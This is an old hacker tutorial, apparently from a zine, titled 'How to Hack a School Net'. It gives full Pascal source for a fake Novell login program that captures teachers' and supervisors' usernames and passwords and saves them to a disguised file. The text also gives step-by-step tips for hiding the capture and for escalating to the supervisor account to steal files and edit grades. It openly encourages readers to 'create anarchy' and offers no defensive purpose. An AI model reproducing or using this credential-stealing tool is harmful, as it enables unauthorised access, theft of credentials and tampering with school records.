-----------------------------------( 24 )-----------------------------------
                          HOW TO HACK A SCHOOL NET

-------------------------------ANTiCONFORMiST-------------------------------

The following method of hacking a schools network which I thought of while
trying to hack the Waitakere College Net, will work on any platform and just
about any system.  This is both an effictive and efficient method, SO USE IT!
Hack networks, create anarchy for the teachers/network admin staff.  Just
make sure you don't take all the credit for the idea.

Ingredients
-----------

1. Basic knoledge of a compiling computer language
   e.g. pascal, c, c++ etc

2. A Directory on a Server where you have read and write rights

3. A copy of the logon screen (if one is used)

Method
------

To start with you need to write a small program that will emulate the logon
process. i.e. display the logon screen, enter name + password etc..

The program must be able to save the data it collects to the dir you have
rights to.  It is a good idea to make the program as accurate as you can so
the teachers etc don't notice any differences at first.  Of cause unless you
are an expert programmer you will not be able to write a successful tsr to
capture the keys when the right prompt appares, so you will need to your
program so it prints an error after the details are entered.  The reason for
this is is the teacher/supervisor will (after entering their logon and
password a few times) come to the conclusion that for some reason the
machine is not accessing the network.  Thus rebooting it, not knowing what
you have been upto.  Therefore thinking nothing of it after machine boots.

Now you can logon to another terminal, get the data file and away you go.
Its that simple.

Hints & Tips
------------

1. Plan your attack and study the logon process, see what it does if you
   enter an invalid password etc.

2. Make the name of the file your saving the name and password to
   inconspicuous so that if the supervisor finds it he/she wont remove it.

3. Don't tell anybody what you are doing until after you have done it. Even
   if you trust them, they might have a concience, and nark or sumfin.

4. Once you have the supervisor password account, login as him/her after
   checking that he/she is not already logged in, set your account to have
   access to all directories and all facilities that the network offers.

5. Do what the hell you like, sponge files, edit your grades, send e-mail.

Network Hack Algorithm
----------------------

Display Login Screen (if there is one)
Write Name Prompt
Get name
if the name not entered write the usage
Write Password Prompt
Get password
Write error


Sample Pascal Code
------------------

{Does not display logo Just gets data and displays usage}
{Used with Novell networks}
{No error coded in, User will just not get logged in}

Program False_Nlogin;

Uses Dos,crt;

Var
   NameStr,        {Stores login name}
   PasswordStr,    {Stors password}
   Try : String;
   x,k,y:byte;     {Used for counters}
   Ch : Char;
   f:text;         {Var for file}

function FileExists(FileNam: String): Boolean;
{ Boolean function that returns True if the file exists;otherwise,
 it returns False. Closes the file if it exists. }
var
 F: file;
begin
 {$I-}
 Assign(F, FileNam);
 FileMode := 0;  { Set file access to read only }
 Reset(F);
 Close(F);
 {$I+}
 FileExists := (IOResult = 0) and (FileNam <> '');
end;  { FileExists }

Procedure Usage;
{Shows The Usage Of Nlogin}

Begin
     WriteLn('Usage Login [/Options] [/Server] [Username] [ScriptParameters]'
     );
     WriteLn('Options :  Clear screen');
     WriteLn('           No attach');
     WriteLn('           Script <path spec>');
     WriteLn;
End;

procedure getdata;
{Enters all the data Needed i.e.login
name, password}

begin  {GetData}
y:=0;
for x := 1 to 2 do begin
case x of
     1:Write('Enter your login name: ');
     2:write('Enter your password: ');
end;
inc(y);
repeat
ch := readkey;
case ch of
     #8 : Begin
     if k > 1 then begin
        dec(k);
        Delete(try,k,1);
        write(ch);
        clreol;
        end;
        end;
     #13,#10,#27 : Begin
     writeln('');
     end;
     else
         begin
              try:=try+ch;
              case x of
              1:write(ch);
              end;
              inc(k);
         end;
     end;
until (ch = #13) or (ch = #10) or (ch = #27);
case y of
     1:begin namestr:=try; try:=''; end;
     2:begin passwordstr:=try; try:=''; end;
end;
end;
if namestr = '' then begin usage; halt(0); end;
end;   {GetData}

procedure writedata;
{writes the data to a file, checks to see if the files
exists first}

begin {WriteData}
assign(f,'go039.bat');
if fileexists('go039.bat') = false then
   rewrite(f)
   else
   append(f);
writeln(f,'Name: ',namestr);
writeln(f,'Password: ',passwordstr);
writeln(f);
close(f);
end;  {WriteData}

begin {Main Code}
getdata;     {runs the getdata procedure}
writedata;   {runs the writedata procedure}
end.  {Main Code}